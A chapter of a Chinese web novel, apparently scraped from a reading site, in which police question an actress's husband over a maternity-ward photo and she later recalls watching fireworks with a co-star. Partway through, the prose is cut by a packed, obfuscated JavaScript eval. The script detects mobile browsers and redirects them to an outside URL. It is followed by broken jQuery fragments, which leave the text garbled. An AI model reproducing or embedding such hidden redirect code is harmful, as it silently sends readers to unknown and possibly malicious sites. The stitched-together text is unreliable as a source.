“七年前,你的妻子被拍到,与几位富商前后进入同一家高级会所,而且她离开时衣冠不整。”
马政阳说这些的时候,杨灏始终盯着邵聿的表情,他还是第一次在邵聿的脸上看到如此纠结的样子。
“邵先生,如果你不记得了,我这里还有当时营销号配的照片,你应该能够认出她的身影。”
“不用了。”
邵聿的声音有些沙哑,他抬起薄薄的眼皮,上挑的眼角轻蔑地眯起来,“我为什么和她结婚,与你们让我坐在这里的原因,有关系吗?”
马政阳爽朗地笑了起来:“哈哈,您的婚姻我们当然不会过问!邵先生,您是个聪明人,我想您作出的任何抉择应该都是经过深思熟虑的。”
他突然话锋一转,“我只是想知道,面对绯闻,当年您能够毫不犹豫地信任您的妻子,而如今却完全相反,是不是因为,您获得了什么更确凿的证据?”
邵聿猛地一拍桌子,一旁的杨灏立刻拦住他,周屹泽条件反射地摸向腰间配枪的位置,唯有马政阳始终乐呵呵地看着他们,还无辜地问了一句:“怎么了这是?”
邵聿恶狠狠地瞪着他,眼球中布满了因愤怒爆出的血丝,双手握成拳头,极具威慑力地摆在他面前。
马政阳不紧不慢地从周屹泽带来的一打资料里,翻出一张照片,没有直接给他看,反而是扣在了桌面上。
“邵先生,对于我之前提出的问题,您还有没有想要回应的?”
见他油盐不进,马政阳叹了口气,像是非常不忍心似的,把照片翻了过来。
“邵先生,那我们直接开始吧。”
那是一张模糊不清的照片,上面所有的轮廓都蒙了一层白纱,像是偷拍后不断放大的结果。
不过照片的背景很好辨认,一条走廊延伸到画面深处,走廊有着白色的墙和屋顶,靠墙排放着一排银灰色铁制座椅,显然是医院。
另一侧墙上伸出几个标牌,隐约能够看到“门诊”的字样。
而最显眼的,莫过于照片上方占据了一大半画幅的三个红字——妇产科。
杨灏不断凑近照片,马政阳还贴心地往他的方向推了推,他也得以看到这个走廊上的人。
一个女子处于在画面正中央,她四肢纤细,身材高挑,面向镜头方向的一侧轮廓清晰,线条柔和,那双深邃的眼睛,似乎因为什么事情正在发愁,眉头紧蹙,踮着脚尖向门诊室内张望。
他一眼就认出,那是江知渺。
不过不像她现在的样子,她最近为了拍摄《流年似水》刚刚剪了短发,而照片中的她还是长发及腰。
江知渺、妇产科——杨灏本能地看向邵聿,可目光触碰到他不敢看照片的闪烁眼神,他不禁惊得屏住了呼吸。
——她怀孕了,但,孩子不是邵聿的?
“警官,我需要了解这张照片的来源。”震惊之余,杨灏还是立刻拾起了身为律师的职责。
“杨律师,不用着急,我正要说呢。”马政阳给周屹泽使了个眼神,周屹泽停下记录,看向邵聿。
“邵先生,我们调取了VeilMansion方向最后一个高速出口驶离车辆的去向,排查后发现,您的车当晚开往了VeilMansion。根据从出口离开的时间,倒推出您出门的时间大约在22:45左右,也就是江女士当晚从家出发后十分钟。”
周屹泽把电脑屏幕转向他的方向,上面是一段昏暗的监控录像。
“出于对住户隐私的保护,您居住的小区内并未安装监控,但在小区门口的快递存放架处,为了防止快件丢失,快递公司安装了一个监控摄像头。我们发现,十点四十分,您曾到那里取回了一份文件。”
他把电脑转了回来,点点桌子上那张照片,“文件里放的就是这张照片。”
“这位警官,我想我们没有收到过搜查许可。”杨灏把照片毫不客气地推还给他,“未经许可私自搜查获取的任何证据都将作为非法证据排除,这一点不用我提醒您吧?”
马政阳早就有了准备,他点点头,“多谢杨律师给我们普法,不过这张照片并不是从邵先生家中搜出来的。”
他的视线在杨灏和邵聿脸上扫了一圈,“我们从快递公司那里得知,这张照片的发货方是网上一家专门冲洗照片的店铺。联系到这家店铺后,他们告诉我寄照片的客户是匿名下单的,付款用的还是国外的信用卡,无法确定身份。不过,他们把照片交给了我。”
杨灏张了张嘴,却没能从中找出任何漏洞,趁着这个空隙,马政阳见缝插针,终于切入讯问的正题。
“邵先生,8月12日晚,您的妻子从家离开,您当时也在家中,对此想必是知情的。而后,您收到快递员打来的电话,前往快递暂存点,拿到这张照片后,马上就驱车前往VeilMansion。”
马政阳停顿片刻,观察了一会儿他的神情,似乎是嫌他的反应还不够激烈,于是把话说得更明白。
“据我们了解,近两年来,江女士只有在拍摄《凤凰之阿房》期间才留过这个发型。我想,身为他的丈夫,您应该也一眼就能推断出照片拍摄的时间吧。
《凤凰之阿房》拍摄时期,她出现在妇产科。邵先生,如果我没猜错的话,您在看到这张照片后,认为这个孩子是柏霆宇的,对吧?”
邵聿全程闭着眼睛,等他说完,深深地吐息几次,再开口时又恢复了往日的沉着。
“仅凭一张照片就把我的妻子和她众多同事中的一人联系起来,至少也需要心里事先就有这种猜测吧?我说了,网上那些绯闻我从未当真。”
“哦,是吗?”马政阳突然玩味地笑了起来,“江女士可不是那种绯闻很多的女演员,出道这么多年也只有这一次传得有鼻子有眼。”
“那是因为柏霆宇一直在炒作营销!”
邵聿忽地抬高音量,低吼在审讯室里不停回荡,足足过了半分钟,才重归宁静。
马政阳要的就是这个效果,面前的男人似乎有着铜墙铁壁,案发过去一个多月,他的防线建筑得更加牢固,只有先将防御盔甲刺穿,才能触及他本来的面目。
他拍了拍周屹泽,周屹泽还停滞在邵聿带来的震慑中,被马政阳叫醒后,他连忙打开桌面上的一个文件夹,把上面的照片投影到大屏幕上。
马政阳站起身来,椅子在地面滑动,发出一声尖锐刺耳的噪音,他习惯性地掸掸衣服上不存在的烟灰,走到投屏前,问道:“邵先生,这段视频,您还有印象吗?”
“视频?什么视频?”江知渺听杨灏讲述着审讯室里发生的一切,浑身的血液都快要凝固。
杨灏却摇了摇头说:“我也不完全清楚,那段视频只是一场烟花。”
烟花?她原以为还是与自己有关的视频,却没料到是这个。
“嗯,就是普通的烟花,不过很多,颜色也很漂亮,四周非常空旷,像是在山里放的。”
山里、烟花……
江知渺猛地抬起头,杨灏眼睁睁看着她的瞳孔不断收缩,脸色瞬间变得惨白,像丢了魂一样,空洞地望着他。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16610124|172006||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“知渺,你知道这个视频?烟花到底是什么意思?为什么邵聿看到这段视频也和你一样震惊?”
她想起来了,那些被她忽视的蛛丝马迹,她全都想起来了。
5月20日,初夏,Z省山区,因雨水充沛而格外茂密的山林,那是导演选定的拍摄地点。
那时他们主要的戏份都已经在影视城完成了拍摄,不过为了保证拍摄效果,导演决定把一些骑马的追逐戏与打斗戏留在转场后,到真实的山林里进行拍摄。
她饰演的慕容鸢动作戏并不多,大多都是发生在这里。
她的弟弟慕容冲带病攻回皇城,她趁乱出逃,他们共乘一骑,一路躲避追杀,险象环生。
而紧张刺激的打戏之外,她的戏份也不少。
慕容鸢在后宫终日郁郁寡欢,皇帝带她出游散心,她仿佛回到了儿时,父王带着她和弟弟学习打猎的日子,难得地露出了笑容。
可前朝公主的身份却碍了一众随行臣将的眼,她被人诬陷诅咒皇帝,乘坐囚车返回宫城。
她满脑子都是如何把这部戏好好收尾,全身心地投入了一整天。
所以当她和柏霆宇并肩站在山林中,看到烟花在空中绽放时,她突然有些恍惚:这场烟花,究竟是在戏内还是戏外?
那时柏霆宇的心情非常低落,她知道他忍了一整天。如今到了没有其他人的地方,终于控制不住自己的情绪,趴在她的肩膀上低声痛苦起来。
“我们回去吧。”她轻轻拍了拍柏霆宇的背,“都多大人了,还哭。”
听到她的“数落”,柏霆宇变本加厉地假哭了几声,泪眼朦胧地看着她,反问道:“谁说大人就不能哭了?”
她一时理亏,也不想与他继续就这个问题拌嘴,见他还有心情反驳自己,应该是好多了,于是缓缓把他从自己的身旁推开。
柏霆宇不满的眼神她也权当没看见,只顾闷头往片场的方向走。
一会儿还有一场戏,他们俩趁着休息时间溜出来,如果回去晚了,恐怕整个剧组都要找他们。
而且,不知道为什么,她总是心底一阵阵发慌。
也许是因为傍晚邵聿曾经短暂出现在片场吧,她这样安慰着自己。
一遇到和邵聿相关的事情,她就很难保持游刃有余。
“这么着急回去干什么?怕你老公发现啊?”
柏霆宇扯着嗓子在后面喊,不出意外把前方健步如飞的女人叫停了。
她转过身,清澈明媚的眼睛反射着明亮的月光,眼中却充满了怒意。
“你胡说什么?我有什么可怕的?”
柏霆宇小跑两步赶了上来,紧贴着站在她面前,江知渺不自在地退了一大步,惹得他轻笑两声,一步步向前逼近。
“荒山野岭,孤男寡女,一起看烟花,看星星,互诉衷肠……”他勾起嘴角,“好浪漫啊,你跟你老公有过吗?”
“柏霆宇!”江知渺握紧双拳,怒不可遏地瞪着他,咬牙切齿地威胁他:“适可而止,我不许你拿邵聿开玩笑。”
他眯起眼睛,审视着她。因为背光的缘故,他的面部轮廓被月色映衬得愈发分明,半张脸都隐藏在阴影中,分辨不清神色。
许久,他忽地开怀大笑起来:“哈哈哈……哈哈……”
江知渺狐疑地盯着他,搞不明白他怎么刚才还在痛哭现在又能笑得出来。
“好了,不逗你了,替我向邵聿说声抱歉。”
不知是不是山林里的风声,江知渺总觉得他的声音里有几分落寞。